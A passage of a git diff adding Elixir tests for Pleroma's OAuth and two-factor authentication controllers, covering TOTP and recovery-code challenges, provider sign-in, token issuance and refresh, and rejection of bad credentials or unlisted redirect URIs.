) + + assert response = html_response(conn, 200) + assert response =~ "Two-factor recovery" + assert response =~ mfa_token.token + assert response =~ "http://localhost:8080/callback" + end + end + + describe "verify" do + setup %{conn: conn, user: user, app: app} do + mfa_token = + insert(:mfa_token, + user: user, + authorization: build(:oauth_authorization, app: app, scopes: ["write"]) + ) + + {:ok, conn: conn, user: user, mfa_token: mfa_token, app: app} + end + + test "POST /oauth/mfa/verify, verify totp code", %{ + conn: conn, + user: user, + mfa_token: mfa_token, + app: app + } do + otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) + + conn = + conn + |> post("/oauth/mfa/verify", %{ + "mfa" => %{ + "mfa_token" => mfa_token.token, + "challenge_type" => "totp", + "code" => otp_token, + "state" => "a_state", + "redirect_uri" => OAuthController.default_redirect_uri(app) + } + }) + + target = redirected_to(conn) + target_url = %URI{URI.parse(target) | query: nil} |> URI.to_string() + query = URI.parse(target).query |> URI.query_decoder() |> Map.new() + assert %{"state" => "a_state", "code" => code} = query + assert target_url == OAuthController.default_redirect_uri(app) + auth = Repo.get_by(Authorization, token: code) + assert auth.scopes == ["write"] + end + + test "POST /oauth/mfa/verify, verify recovery code", %{ + conn: conn, + mfa_token: mfa_token, + app: app + } do + conn = + conn + |> post("/oauth/mfa/verify", %{ + "mfa" => %{ + "mfa_token" => mfa_token.token, + "challenge_type" => "recovery", + "code" => "test-code", + "state" => "a_state", + "redirect_uri" => OAuthController.default_redirect_uri(app) + } + }) + + target = redirected_to(conn) + target_url = %URI{URI.parse(target) | query: nil} |> URI.to_string() + query = URI.parse(target).query |> URI.query_decoder() |> Map.new() + assert %{"state" => "a_state", "code" => code} = query + assert target_url == OAuthController.default_redirect_uri(app) + auth = Repo.get_by(Authorization, token: code) + assert auth.scopes == ["write"] + end + end + + describe "challenge/totp" do + test "returns access token with valid code", %{conn: conn, user: user, app: app} do + otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) + + mfa_token = + insert(:mfa_token, + user: user, + authorization: build(:oauth_authorization, app: app, scopes: ["write"]) + ) + + response = + conn + |> post("/oauth/mfa/challenge", %{ + "mfa_token" => mfa_token.token, + "challenge_type" => "totp", + "code" => otp_token, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(:ok) + + ap_id = user.ap_id + + assert match?( + %{ + "access_token" => _, + "expires_in" => 600, + "me" => ^ap_id, + "refresh_token" => _, + "scope" => "write", + "token_type" => "Bearer" + }, + response + ) + end + + test "returns errors when mfa token invalid", %{conn: conn, user: user, app: app} do + otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) + + response = + conn + |> post("/oauth/mfa/challenge", %{ + "mfa_token" => "XXX", + "challenge_type" => "totp", + "code" => otp_token, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(400) + + assert response == %{"error" => "Invalid code"} + end + + test "returns error when otp code is invalid", %{conn: conn, user: user, app: app} do + mfa_token = insert(:mfa_token, user: user) + + response = + conn + |> post("/oauth/mfa/challenge", %{ + "mfa_token" => mfa_token.token, + "challenge_type" => "totp", + "code" => "XXX", + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(400) + + assert response == %{"error" => "Invalid code"} + end + + test "returns error when client credentails is wrong ", %{conn: conn, user: user} do + otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) + mfa_token = insert(:mfa_token, user: user) + + response = + conn + |> post("/oauth/mfa/challenge", %{ + "mfa_token" => mfa_token.token, + "challenge_type" => "totp", + "code" => otp_token, + "client_id" => "xxx", + "client_secret" => "xxx" + }) + |> json_response(400) + + assert response == %{"error" => "Invalid code"} + end + end + + describe "challenge/recovery" do + setup %{conn: conn} do + app = insert(:oauth_app) + {:ok, conn: conn, app: app} + end + + test "returns access token with valid code", %{conn: conn, app: app} do + otp_secret = TOTP.generate_secret() + + [code | _] = backup_codes = BackupCodes.generate() + + hashed_codes = + backup_codes + |> Enum.map(&Pbkdf2.hash_pwd_salt(&1)) + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + backup_codes: hashed_codes, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + mfa_token = + insert(:mfa_token, + user: user, + authorization: build(:oauth_authorization, app: app, scopes: ["write"]) + ) + + response = + conn + |> post("/oauth/mfa/challenge", %{ + "mfa_token" => mfa_token.token, + "challenge_type" => "recovery", + "code" => code, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(:ok) + + ap_id = user.ap_id + + assert match?( + %{ + "access_token" => _, + "expires_in" => 600, + "me" => ^ap_id, + "refresh_token" => _, + "scope" => "write", + "token_type" => "Bearer" + }, + response + ) + + error_response = + conn + |> post("/oauth/mfa/challenge", %{ + "mfa_token" => mfa_token.token, + "challenge_type" => "recovery", + "code" => code, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(400) + + assert error_response == %{"error" => "Invalid code"} + end + end +end diff --git a/test/pleroma/web/o_auth/o_auth_controller_test.exs b/test/pleroma/web/o_auth/o_auth_controller_test.exs new file mode 100644 index 000000000..1200126b8 --- /dev/null +++ b/test/pleroma/web/o_auth/o_auth_controller_test.exs @@ -0,0 +1,1232 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.OAuthControllerTest do + use Pleroma.Web.ConnCase + import Pleroma.Factory + + alias Pleroma.MFA + alias Pleroma.MFA.TOTP + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.OAuth.Authorization + alias Pleroma.Web.OAuth.OAuthController + alias Pleroma.Web.OAuth.Token + + @session_opts [ + store: :cookie, + key: "_test", + signing_salt: "cooldude" + ] + setup do + clear_config([:instance, :account_activation_required]) + clear_config([:instance, :account_approval_required]) + end + + describe "in OAuth consumer mode, " do + setup do + [ + app: insert(:oauth_app), + conn: + build_conn() + |> Plug.Session.call(Plug.Session.init(@session_opts)) + |> fetch_session() + ] + end + + setup do: clear_config([:auth, :oauth_consumer_strategies], ~w(twitter facebook)) + + test "GET /oauth/authorize renders auth forms, including OAuth consumer form", %{ + app: app, + conn: conn + } do + conn = + get( + conn, + "/oauth/authorize", + %{ + "response_type" => "code", + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "scope" => "read" + } + ) + + assert response = html_response(conn, 200) + assert response =~ "Sign in with Twitter" + assert response =~ o_auth_path(conn, :prepare_request) + end + + test "GET /oauth/prepare_request encodes parameters as `state` and redirects", %{ + app: app, + conn: conn + } do + conn = + get( + conn, + "/oauth/prepare_request", + %{ + "provider" => "twitter", + "authorization" => %{ + "scope" => "read follow", + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "state" => "a_state" + } + } + ) + + assert response = html_response(conn, 302) + + redirect_query = URI.parse(redirected_to(conn)).query + assert %{"state" => state_param} = URI.decode_query(redirect_query) + assert {:ok, state_components} = Poison.decode(state_param) + + expected_client_id = app.client_id + expected_redirect_uri = app.redirect_uris + + assert %{ + "scope" => "read follow", + "client_id" => ^expected_client_id, + "redirect_uri" => ^expected_redirect_uri, + "state" => "a_state" + } = state_components + end + + test "with user-bound registration, GET /oauth//callback redirects to `redirect_uri` with `code`", + %{app: app, conn: conn} do + registration = insert(:registration) + redirect_uri = OAuthController.default_redirect_uri(app) + + state_params = %{ + "scope" => Enum.join(app.scopes, " "), + "client_id" => app.client_id, + "redirect_uri" => redirect_uri, + "state" => "" + } + + conn = + conn + |> assign(:ueberauth_auth, %{provider: registration.provider, uid: registration.uid}) + |> get( + "/oauth/twitter/callback", + %{ + "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM", + "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs", + "provider" => "twitter", + "state" => Poison.encode!(state_params) + } + ) + + assert response = html_response(conn, 302) + assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ + end + + test "with user-unbound registration, GET /oauth//callback renders registration_details page", + %{app: app, conn: conn} do + user = insert(:user) + + state_params = %{ + "scope" => "read write", + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "state" => "a_state" + } + + conn = + conn + |> assign(:ueberauth_auth, %{ + provider: "twitter", + uid: "171799000", + info: %{nickname: user.nickname, email: user.email, name: user.name, description: nil} + }) + |> get( + "/oauth/twitter/callback", + %{ + "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM", + "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs", + "provider" => "twitter", + "state" => Poison.encode!(state_params) + } + ) + + assert response = html_response(conn, 200) + assert response =~ ~r/name="op" type="submit" value="register"/ + assert response =~ ~r/name="op" type="submit" value="connect"/ + assert response =~ user.email + assert response =~ user.nickname + end + + test "on authentication error, GET /oauth//callback redirects to `redirect_uri`", %{ + app: app, + conn: conn + } do + state_params = %{ + "scope" => Enum.join(app.scopes, " "), + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "state" => "" + } + + conn = + conn + |> assign(:ueberauth_failure, %{errors: [%{message: "(error description)"}]}) + |> get( + "/oauth/twitter/callback", + %{ + "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM", + "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs", + "provider" => "twitter", + "state" => Poison.encode!(state_params) + } + ) + + assert response = html_response(conn, 302) + assert redirected_to(conn) == app.redirect_uris + assert get_flash(conn, :error) == "Failed to authenticate: (error description)." + end + + test "GET /oauth/registration_details renders registration details form", %{ + app: app, + conn: conn + } do + conn = + get( + conn, + "/oauth/registration_details", + %{ + "authorization" => %{ + "scopes" => app.scopes, + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "state" => "a_state", + "nickname" => nil, + "email" => "john@doe.com" + } + } + ) + + assert response = html_response(conn, 200) + assert response =~ ~r/name="op" type="submit" value="register"/ + assert response =~ ~r/name="op" type="submit" value="connect"/ + end + + test "with valid params, POST /oauth/register?op=register redirects to `redirect_uri` with `code`", + %{ + app: app, + conn: conn + } do + registration = insert(:registration, user: nil, info: %{"nickname" => nil, "email" => nil}) + redirect_uri = OAuthController.default_redirect_uri(app) + + conn = + conn + |> put_session(:registration_id, registration.id) + |> post( + "/oauth/register", + %{ + "op" => "register", + "authorization" => %{ + "scopes" => app.scopes, + "client_id" => app.client_id, + "redirect_uri" => redirect_uri, + "state" => "a_state", + "nickname" => "availablenick", + "email" => "available@email.com" + } + } + ) + + assert response = html_response(conn, 302) + assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ + end + + test "with unlisted `redirect_uri`, POST /oauth/register?op=register results in HTTP 401", + %{ + app: app, + conn: conn + } do + registration = insert(:registration, user: nil, info: %{"nickname" => nil, "email" => nil}) + unlisted_redirect_uri = "http://cross-site-request.com" + + conn = + conn + |> put_session(:registration_id, registration.id) + |> post( + "/oauth/register", + %{ + "op" => "register", + "authorization" => %{ + "scopes" => app.scopes, + "client_id" => app.client_id, + "redirect_uri" => unlisted_redirect_uri, + "state" => "a_state", + "nickname" => "availablenick", + "email" => "available@email.com" + } + } + ) + + assert response = html_response(conn, 401) + end + + test "with invalid params, POST /oauth/register?op=register renders registration_details page", + %{ + app: app, + conn: conn + } do + another_user = insert(:user) + registration = insert(:registration, user: nil, info: %{"nickname" => nil, "email" => nil}) + + params = %{ + "op" => "register", + "authorization" => %{ + "scopes" => app.scopes, + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "state" => "a_state", + "nickname" => "availablenickname", + "email" => "available@email.com" + } + } + + for {bad_param, bad_param_value} <- + [{"nickname", another_user.nickname}, {"email", another_user.email}] do + bad_registration_attrs = %{ + "authorization" => Map.put(params["authorization"], bad_param, bad_param_value) + } + + bad_params = Map.merge(params, bad_registration_attrs) + + conn = + conn + |> put_session(:registration_id, registration.id) + |> post("/oauth/register", bad_params) + + assert html_response(conn, 403) =~ ~r/name="op" type="submit" value="register"/ + assert get_flash(conn, :error) == "Error: #{bad_param} has already been taken." + end + end + + test "with valid params, POST /oauth/register?op=connect redirects to `redirect_uri` with `code`", + %{ + app: app, + conn: conn + } do + user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt("testpassword")) + registration = insert(:registration, user: nil) + redirect_uri = OAuthController.default_redirect_uri(app) + + conn = + conn + |> put_session(:registration_id, registration.id) + |> post( + "/oauth/register", + %{ + "op" => "connect", + "authorization" => %{ + "scopes" => app.scopes, + "client_id" => app.client_id, + "redirect_uri" => redirect_uri, + "state" => "a_state", + "name" => user.nickname, + "password" => "testpassword" + } + } + ) + + assert response = html_response(conn, 302) + assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ + end + + test "with unlisted `redirect_uri`, POST /oauth/register?op=connect results in HTTP 401`", + %{ + app: app, + conn: conn + } do + user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt("testpassword")) + registration = insert(:registration, user: nil) + unlisted_redirect_uri = "http://cross-site-request.com" + + conn = + conn + |> put_session(:registration_id, registration.id) + |> post( + "/oauth/register", + %{ + "op" => "connect", + "authorization" => %{ + "scopes" => app.scopes, + "client_id" => app.client_id, + "redirect_uri" => unlisted_redirect_uri, + "state" => "a_state", + "name" => user.nickname, + "password" => "testpassword" + } + } + ) + + assert response = html_response(conn, 401) + end + + test "with invalid params, POST /oauth/register?op=connect renders registration_details page", + %{ + app: app, + conn: conn + } do + user = insert(:user) + registration = insert(:registration, user: nil) + + params = %{ + "op" => "connect", + "authorization" => %{ + "scopes" => app.scopes, + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "state" => "a_state", + "name" => user.nickname, + "password" => "wrong password" + } + } + + conn = + conn + |> put_session(:registration_id, registration.id) + |> post("/oauth/register", params) + + assert html_response(conn, 401) =~ ~r/name="op" type="submit" value="connect"/ + assert get_flash(conn, :error) == "Invalid Username/Password" + end + end + + describe "GET /oauth/authorize" do + setup do + [ + app: insert(:oauth_app, redirect_uris: "https://redirect.url"), + conn: + build_conn() + |> Plug.Session.call(Plug.Session.init(@session_opts)) + |> fetch_session() + ] + end + + test "renders authentication page", %{app: app, conn: conn} do + conn = + get( + conn, + "/oauth/authorize", + %{ + "response_type" => "code", + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "scope" => "read" + } + ) + + assert html_response(conn, 200) =~ ~s(type="submit") + end + + test "properly handles internal calls with `authorization`-wrapped params", %{ + app: app, + conn: conn + } do + conn = + get( + conn, + "/oauth/authorize", + %{ + "authorization" => %{ + "response_type" => "code", + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "scope" => "read" + } + } + ) + + assert html_response(conn, 200) =~ ~s(type="submit") + end + + test "renders authentication page if user is already authenticated but `force_login` is tru-ish", + %{app: app, conn: conn} do + token = insert(:oauth_token, app: app) + + conn = + conn + |> put_session(:oauth_token, token.token) + |> get( + "/oauth/authorize", + %{ + "response_type" => "code", + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "scope" => "read", + "force_login" => "true" + } + ) + + assert html_response(conn, 200) =~ ~s(type="submit") + end + + test "renders authentication page if user is already authenticated but user request with another client", + %{ + app: app, + conn: conn + } do + token = insert(:oauth_token, app: app) + + conn = + conn + |> put_session(:oauth_token, token.token) + |> get( + "/oauth/authorize", + %{ + "response_type" => "code", + "client_id" => "another_client_id", + "redirect_uri" => OAuthController.default_redirect_uri(app), + "scope" => "read" + } + ) + + assert html_response(conn, 200) =~ ~s(type="submit") + end + + test "with existing authentication and non-OOB `redirect_uri`, redirects to app with `token` and `state` params", + %{ + app: app, + conn: conn + } do + token = insert(:oauth_token, app: app) + + conn = + conn + |> put_session(:oauth_token, token.token) + |> get( + "/oauth/authorize", + %{ + "response_type" => "code", + "client_id" => app.client_id, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "state" => "specific_client_state", + "scope" => "read" + } + ) + + assert URI.decode(redirected_to(conn)) == + "https://redirect.url?access_token=#{token.token}&state=specific_client_state" + end + + test "with existing authentication and unlisted non-OOB `redirect_uri`, redirects without credentials", + %{ + app: app, + conn: conn + } do + unlisted_redirect_uri = "http://cross-site-request.com" + token = insert(:oauth_token, app: app) + + conn = + conn + |> put_session(:oauth_token, token.token) + |> get( + "/oauth/authorize", + %{ + "response_type" => "code", + "client_id" => app.client_id, + "redirect_uri" => unlisted_redirect_uri, + "state" => "specific_client_state", + "scope" => "read" + } + ) + + assert redirected_to(conn) == unlisted_redirect_uri + end + + test "with existing authentication and OOB `redirect_uri`, redirects to app with `token` and `state` params", + %{ + app: app, + conn: conn + } do + token = insert(:oauth_token, app: app) + + conn = + conn + |> put_session(:oauth_token, token.token) + |> get( + "/oauth/authorize", + %{ + "response_type" => "code", + "client_id" => app.client_id, + "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", + "scope" => "read" + } + ) + + assert html_response(conn, 200) =~ "Authorization exists" + end + end + + describe "POST /oauth/authorize" do + test "redirects with oauth authorization, " <> + "granting requested app-supported scopes to both admin- and non-admin users" do + app_scopes = ["read", "write", "admin", "secret_scope"] + app = insert(:oauth_app, scopes: app_scopes) + redirect_uri = OAuthController.default_redirect_uri(app) + + non_admin = insert(:user, is_admin: false) + admin = insert(:user, is_admin: true) + scopes_subset = ["read:subscope", "write", "admin"] + + # In case scope param is missing, expecting _all_ app-supported scopes to be granted + for user <- [non_admin, admin], + {requested_scopes, expected_scopes} <- + %{scopes_subset => scopes_subset, nil: app_scopes} do + conn = + post( + build_conn(), + "/oauth/authorize", + %{ + "authorization" => %{ + "name" => user.nickname, + "password" => "test", + "client_id" => app.client_id, + "redirect_uri" => redirect_uri, + "scope" => requested_scopes, + "state" => "statepassed" + } + } + ) + + target = redirected_to(conn) + assert target =~ redirect_uri + + query = URI.parse(target).query |> URI.query_decoder() |> Map.new() + + assert %{"state" => "statepassed", "code" => code} = query + auth = Repo.get_by(Authorization, token: code) + assert auth + assert auth.scopes == expected_scopes + end + end + + test "redirect to on two-factor auth page" do + otp_secret = TOTP.generate_secret() + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + app = insert(:oauth_app, scopes: ["read", "write", "follow"]) + + conn = + build_conn() + |> post("/oauth/authorize", %{ + "authorization" => %{ + "name" => user.nickname, + "password" => "test", + "client_id" => app.client_id, + "redirect_uri" => app.redirect_uris, + "scope" => "read write", + "state" => "statepassed" + } + }) + + result = html_response(conn, 200) + + mfa_token = Repo.get_by(MFA.Token, user_id: user.id) + assert result =~ app.redirect_uris + assert result =~ "statepassed" + assert result =~ mfa_token.token + assert result =~ "Two-factor authentication" + end + + test "returns 401 for wrong credentials", %{conn: conn} do + user = insert(:user) + app = insert(:oauth_app) + redirect_uri = OAuthController.default_redirect_uri(app) + + result = + conn + |> post("/oauth/authorize", %{ + "authorization" => %{ + "name" => user.nickname, + "password" => "wrong", + "client_id" => app.client_id, + "redirect_uri" => redirect_uri, + "state" => "statepassed", + "scope" => Enum.join(app.scopes, " ") + } + }) + |> html_response(:unauthorized) + + # Keep the details + assert result =~ app.client_id + assert result =~ redirect_uri + + # Error message + assert result =~ "Invalid Username/Password" + end + + test "returns 401 for missing scopes" do + user = insert(:user, is_admin: false) + app = insert(:oauth_app, scopes: ["read", "write", "admin"]) + redirect_uri = OAuthController.default_redirect_uri(app) + + result = + build_conn() + |> post("/oauth/authorize", %{ + "authorization" => %{ + "name" => user.nickname, + "password" => "test", + "client_id" => app.client_id, + "redirect_uri" => redirect_uri, + "state" => "statepassed", + "scope" => "" + } + }) + |> html_response(:unauthorized) + + # Keep the details + assert result =~ app.client_id + assert result =~ redirect_uri + + # Error message + assert result =~ "This action is outside the authorized scopes" + end + + test "returns 401 for scopes beyond app scopes hierarchy", %{conn: conn} do + user = insert(:user) + app = insert(:oauth_app, scopes: ["read", "write"]) + redirect_uri = OAuthController.default_redirect_uri(app) + + result = + conn + |> post("/oauth/authorize", %{ + "authorization" => %{ + "name" => user.nickname, + "password" => "test", + "client_id" => app.client_id, + "redirect_uri" => redirect_uri, + "state" => "statepassed", + "scope" => "read write follow" + } + }) + |> html_response(:unauthorized) + + # Keep the details + assert result =~ app.client_id + assert result =~ redirect_uri + + # Error message + assert result =~ "This action is outside the authorized scopes" + end + end + + describe "POST /oauth/token" do + test "issues a token for an all-body request" do + user = insert(:user) + app = insert(:oauth_app, scopes: ["read", "write"]) + + {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) + + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "authorization_code", + "code" => auth.token, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert %{"access_token" => token, "me" => ap_id} = json_response(conn, 200) + + token = Repo.get_by(Token, token: token) + assert token + assert token.scopes == auth.scopes + assert user.ap_id == ap_id + end + + test "issues a token for `password` grant_type with valid credentials, with full permissions by default" do + password = "testpassword" + user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) + + app = insert(:oauth_app, scopes: ["read", "write"]) + + # Note: "scope" param is intentionally omitted + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert %{"access_token" => token} = json_response(conn, 200) + + token = Repo.get_by(Token, token: token) + assert token + assert token.scopes == app.scopes + end + + test "issues a mfa token for `password` grant_type, when MFA enabled" do + password = "testpassword" + otp_secret = TOTP.generate_secret() + + user = + insert(:user, + password_hash: Pbkdf2.hash_pwd_salt(password), + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + app = insert(:oauth_app, scopes: ["read", "write"]) + + response = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(403) + + assert match?( + %{ + "supported_challenge_types" => "totp", + "mfa_token" => _, + "error" => "mfa_required" + }, + response + ) + + token = Repo.get_by(MFA.Token, token: response["mfa_token"]) + assert token.user_id == user.id + assert token.authorization_id + end + + test "issues a token for request with HTTP basic auth client credentials" do + user = insert(:user) + app = insert(:oauth_app, scopes: ["scope1", "scope2", "scope3"]) + + {:ok, auth} = Authorization.create_authorization(app, user, ["scope1", "scope2"]) + assert auth.scopes == ["scope1", "scope2"] + + app_encoded = + (URI.encode_www_form(app.client_id) <> ":" <> URI.encode_www_form(app.client_secret)) + |> Base.encode64() + + conn = + build_conn() + |> put_req_header("authorization", "Basic " <> app_encoded) + |> post("/oauth/token", %{ + "grant_type" => "authorization_code", + "code" => auth.token, + "redirect_uri" => OAuthController.default_redirect_uri(app) + }) + + assert %{"access_token" => token, "scope" => scope} = json_response(conn, 200) + + assert scope == "scope1 scope2" + + token = Repo.get_by(Token, token: token) + assert token + assert token.scopes == ["scope1", "scope2"] + end + + test "issue a token for client_credentials grant type" do + app = insert(:oauth_app, scopes: ["read", "write"]) + + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "client_credentials", + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = + json_response(conn, 200) + + assert token + token_from_db = Repo.get_by(Token, token: token) + assert token_from_db + assert refresh + assert scope == "read write" + end + + test "rejects token exchange with invalid client credentials" do + user = insert(:user) + app = insert(:oauth_app) + + {:ok, auth} = Authorization.create_authorization(app, user) + + conn = + build_conn() + |> put_req_header("authorization", "Basic JTIxOiVGMCU5RiVBNCVCNwo=") + |> post("/oauth/token", %{ + "grant_type" => "authorization_code", + "code" => auth.token, + "redirect_uri" => OAuthController.default_redirect_uri(app) + }) + + assert resp = json_response(conn, 400) + assert %{"error" => _} = resp + refute Map.has_key?(resp, "access_token") + end + + test "rejects token exchange for valid credentials belonging to unconfirmed user and confirmation is required" do + Pleroma.Config.put([:instance, :account_activation_required], true) + password = "testpassword" + + {:ok, user} = + insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) + |> User.confirmation_changeset(need_confirmation: true) + |> User.update_and_set_cache() + + refute Pleroma.User.account_status(user) == :active + + app = insert(:oauth_app) + + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert resp = json_response(conn, 403) + assert %{"error" => _} = resp + refute Map.has_key?(resp, "access_token") + end + + test "rejects token exchange for valid credentials belonging to deactivated user" do + password = "testpassword" + + user = + insert(:user, + password_hash: Pbkdf2.hash_pwd_salt(password), + deactivated: true + ) + + app = insert(:oauth_app) + + resp = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(403) + + assert resp == %{ + "error" => "Your account is currently disabled", + "identifier" => "account_is_disabled" + } + end + + test "rejects token exchange for user with password_reset_pending set to true" do + password = "testpassword" + + user = + insert(:user, + password_hash: Pbkdf2.hash_pwd_salt(password), + password_reset_pending: true + ) + + app = insert(:oauth_app, scopes: ["read", "write"]) + + resp = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(403) + + assert resp == %{ + "error" => "Password reset is required", + "identifier" => "password_reset_required" + } + end + + test "rejects token exchange for user with confirmation_pending set to true" do + Pleroma.Config.put([:instance, :account_activation_required], true) + password = "testpassword" + + user = + insert(:user, + password_hash: Pbkdf2.hash_pwd_salt(password), + confirmation_pending: true + ) + + app = insert(:oauth_app, scopes: ["read", "write"]) + + resp = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(403) + + assert resp == %{ + "error" => "Your login is missing a confirmed e-mail address", + "identifier" => "missing_confirmed_email" + } + end + + test "rejects token exchange for valid credentials belonging to an unapproved user" do + password = "testpassword" + + user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password), approval_pending: true) + + refute Pleroma.User.account_status(user) == :active + + app = insert(:oauth_app) + + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert resp = json_response(conn, 403) + assert %{"error" => _} = resp + refute Map.has_key?(resp, "access_token") + end + + test "rejects an invalid authorization code" do + app = insert(:oauth_app) + + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "authorization_code", + "code" => "Imobviouslyinvalid", + "redirect_uri" => OAuthController.default_redirect_uri(app), + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert resp = json_response(conn, 400) + assert %{"error" => _} = json_response(conn, 400) + refute Map.has_key?(resp, "access_token") + end + end + + describe "POST /oauth/token - refresh token" do + setup do: clear_config([:oauth2, :issue_new_refresh_token]) + + test "issues a new access token with keep fresh token" do + Pleroma.Config.put([:oauth2, :issue_new_refresh_token], true) + user = insert(:user) + app = insert(:oauth_app, scopes: ["read", "write"]) + + {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) + {:ok, token} = Token.exchange_token(app, auth) + + response = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "refresh_token", + "refresh_token" => token.refresh_token, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(200) + + ap_id = user.ap_id + + assert match?( + %{ + "scope" => "write", + "token_type" => "Bearer", + "expires_in" => 600, + "access_token" => _, + "refresh_token" => _, + "me" => ^ap_id + }, + response + ) + + refute Repo.get_by(Token, token: token.token) + new_token = Repo.get_by(Token, token: response["access_token"]) + assert new_token.refresh_token == token.refresh_token + assert new_token.scopes == auth.scopes + assert new_token.user_id == user.id + assert new_token.app_id == app.id + end + + test "issues a new access token with new fresh token" do + Pleroma.Config.put([:oauth2, :issue_new_refresh_token], false) + user = insert(:user) + app = insert(:oauth_app, scopes: ["read", "write"]) + + {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) + {:ok, token} = Token.exchange_token(app, auth) + + response = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "refresh_token", + "refresh_token" => token.refresh_token, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(200) + + ap_id = user.ap_id + + assert match?( + %{ + "scope" => "write", + "token_type" => "Bearer", + "expires_in" => 600, + "access_token" => _, + "refresh_token" => _, + "me" => ^ap_id + }, + response + ) + + refute Repo.get_by(Token, token: token.token) + new_token = Repo.get_by(Token, token: response["access_token"]) + refute new_token.refresh_token == token.refresh_token + assert new_token.scopes == auth.scopes + assert new_token.user_id == user.id + assert new_token.app_id == app.id + end + + test "returns 400 if we try use access token" do + user = insert(:user) + app = insert(:oauth_app, scopes: ["read", "write"]) + + {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) + {:ok, token} = Token.exchange_token(app, auth) + + response = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "refresh_token", + "refresh_token" => token.token, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(400) + + assert %{"error" => "Invalid credentials"} == response + end + + test "returns 400 if refresh_token invalid" do + app = insert(:oauth_app, scopes: ["read", "write"]) + + response = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "refresh_token", + "refresh_token" => "token.refresh_token", + "client_id" => app.client_id, + 